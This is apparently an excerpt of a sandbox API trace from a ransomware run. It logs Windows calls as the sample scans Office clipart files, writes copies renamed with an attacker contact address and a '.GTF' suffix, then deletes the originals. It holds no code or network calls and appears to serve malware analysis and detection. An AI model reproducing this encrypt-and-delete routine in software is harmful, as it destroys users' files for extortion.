	[0082.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.674] lstrlenW (lpString=".rar") returned 4
	[0082.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString=".bz2") returned 4
	[0082.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString=".7z") returned 3
	[0082.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.674] lstrlenW (lpString=".dbf") returned 4
	[0082.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.674] lstrlenW (lpString=".1cd") returned 4
	[0082.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.674] lstrlenW (lpString=".jpg") returned 4
	[0082.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.674] lstrlenW (lpString=".doc") returned 4
	[0082.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString=".docx") returned 5
	[0082.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.674] lstrlenW (lpString=".pdf") returned 4
	[0082.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString=".xls") returned 4
	[0082.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.674] lstrlenW (lpString=".xlsx") returned 5
	[0082.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.674] lstrlenW (lpString=".ppt") returned 4
	[0082.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.675] lstrlenW (lpString=".zip") returned 4
	[0082.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.675] lstrlenW (lpString=".rar") returned 4
	[0082.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString=".bz2") returned 4
	[0082.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString=".7z") returned 3
	[0082.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.675] lstrlenW (lpString=".dbf") returned 4
	[0082.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.675] lstrlenW (lpString=".1cd") returned 4
	[0082.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.675] lstrlenW (lpString=".jpg") returned 4
	[0082.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.675] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.675] lstrlenW (lpString="BD09194_.WMF") returned 12
	[0082.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.676] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=14540) returned 1
	[0082.676] CloseHandle (hObject=0x384) returned 1
	[0082.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220
	[0082.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.676] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.677] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.677] GetLastError () returned 0x0
	[0082.677] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x38cc, lpOverlapped=0x0) returned 1
	[0082.679] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x38d0, lpOverlapped=0x0) returned 1
	[0082.680] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.680] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.680] SetEndOfFile (hFile=0x370) returned 1
	[0082.680] CloseHandle (hObject=0x370) returned 1
	[0082.681] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.681] SetEndOfFile (hFile=0x384) returned 1
	[0082.682] CloseHandle (hObject=0x384) returned 1
	[0082.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1
	[0082.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.683] lstrlenW (lpString=".doc") returned 4
	[0082.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString=".docx") returned 5
	[0082.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.683] lstrlenW (lpString=".pdf") returned 4
	[0082.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString=".xls") returned 4
	[0082.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.683] lstrlenW (lpString=".xlsx") returned 5
	[0082.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.683] lstrlenW (lpString=".ppt") returned 4
	[0082.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.683] lstrlenW (lpString=".zip") returned 4
	[0082.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.683] lstrlenW (lpString=".rar") returned 4
	[0082.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString=".bz2") returned 4
	[0082.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString=".7z") returned 3
	[0082.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.683] lstrlenW (lpString=".dbf") returned 4
	[0082.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.683] lstrlenW (lpString=".1cd") returned 4
	[0082.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString=".jpg") returned 4
	[0082.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString=".doc") returned 4
	[0082.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString=".docx") returned 5
	[0082.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.684] lstrlenW (lpString=".pdf") returned 4
	[0082.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString=".xls") returned 4
	[0082.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.684] lstrlenW (lpString=".xlsx") returned 5
	[0082.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.684] lstrlenW (lpString=".ppt") returned 4
	[0082.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString=".zip") returned 4
	[0082.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.684] lstrlenW (lpString=".rar") returned 4
	[0082.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString=".bz2") returned 4
	[0082.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString=".7z") returned 3
	[0082.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString=".dbf") returned 4
	[0082.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString=".1cd") returned 4
	[0082.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0082.684] lstrlenW (lpString=".jpg") returned 4
	[0082.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.685] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.685] lstrlenW (lpString="BD09662_.WMF") returned 12
	[0082.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.685] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=20554) returned 1
	[0082.685] CloseHandle (hObject=0x384) returned 1
	[0082.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220
	[0082.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.685] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.685] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.686] GetLastError () returned 0x0
	[0082.686] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x504a, lpOverlapped=0x0) returned 1
	[0082.943] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5050, lpOverlapped=0x0) returned 1
	[0082.944] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.944] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.944] SetEndOfFile (hFile=0x370) returned 1
	[0083.307] CloseHandle (hObject=0x370) returned 1
	[0083.309] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.309] SetEndOfFile (hFile=0x384) returned 1
	[0083.310] CloseHandle (hObject=0x384) returned 1
	[0083.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1
	[0083.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.310] lstrlenW (lpString=".doc") returned 4
	[0083.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.310] lstrlenW (lpString=".docx") returned 5
	[0083.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.311] lstrlenW (lpString=".pdf") returned 4
	[0083.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString=".xls") returned 4
	[0083.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.311] lstrlenW (lpString=".xlsx") returned 5
	[0083.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.311] lstrlenW (lpString=".ppt") returned 4
	[0083.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.311] lstrlenW (lpString=".zip") returned 4
	[0083.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.311] lstrlenW (lpString=".rar") returned 4
	[0083.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString=".bz2") returned 4
	[0083.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString=".7z") returned 3
	[0083.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.311] lstrlenW (lpString=".dbf") returned 4
	[0083.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.311] lstrlenW (lpString=".1cd") returned 4
	[0083.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.311] lstrlenW (lpString=".jpg") returned 4
	[0083.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.311] lstrlenW (lpString=".doc") returned 4
	[0083.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString=".docx") returned 5
	[0083.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.311] lstrlenW (lpString=".pdf") returned 4
	[0083.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.311] lstrlenW (lpString=".xls") returned 4
	[0083.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.312] lstrlenW (lpString=".xlsx") returned 5
	[0083.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.312] lstrlenW (lpString=".ppt") returned 4
	[0083.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.312] lstrlenW (lpString=".zip") returned 4
	[0083.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.312] lstrlenW (lpString=".rar") returned 4
	[0083.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.312] lstrlenW (lpString=".bz2") returned 4
	[0083.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.312] lstrlenW (lpString=".7z") returned 3
	[0083.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.312] lstrlenW (lpString=".dbf") returned 4
	[0083.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.312] lstrlenW (lpString=".1cd") returned 4
	[0083.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0083.312] lstrlenW (lpString=".jpg") returned 4
	[0083.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.312] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.312] lstrlenW (lpString="BL00012_.WMF") returned 12
	[0083.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.313] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=9818) returned 1
	[0083.313] CloseHandle (hObject=0x384) returned 1
	[0083.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220
	[0083.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.331] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.331] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.340] GetLastError () returned 0x0
	[0083.340] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x265a, lpOverlapped=0x0) returned 1
	[0083.346] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2660, lpOverlapped=0x0) returned 1
	[0083.347] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.347] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.348] SetEndOfFile (hFile=0x370) returned 1
	[0083.348] CloseHandle (hObject=0x370) returned 1
	[0083.350] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.350] SetEndOfFile (hFile=0x384) returned 1
	[0083.351] CloseHandle (hObject=0x384) returned 1
	[0083.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1
	[0083.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.351] lstrlenW (lpString=".doc") returned 4
	[0083.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.351] lstrlenW (lpString=".docx") returned 5
	[0083.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.352] lstrlenW (lpString=".pdf") returned 4
	[0083.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString=".xls") returned 4
	[0083.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.352] lstrlenW (lpString=".xlsx") returned 5
	[0083.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.352] lstrlenW (lpString=".ppt") returned 4
	[0083.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
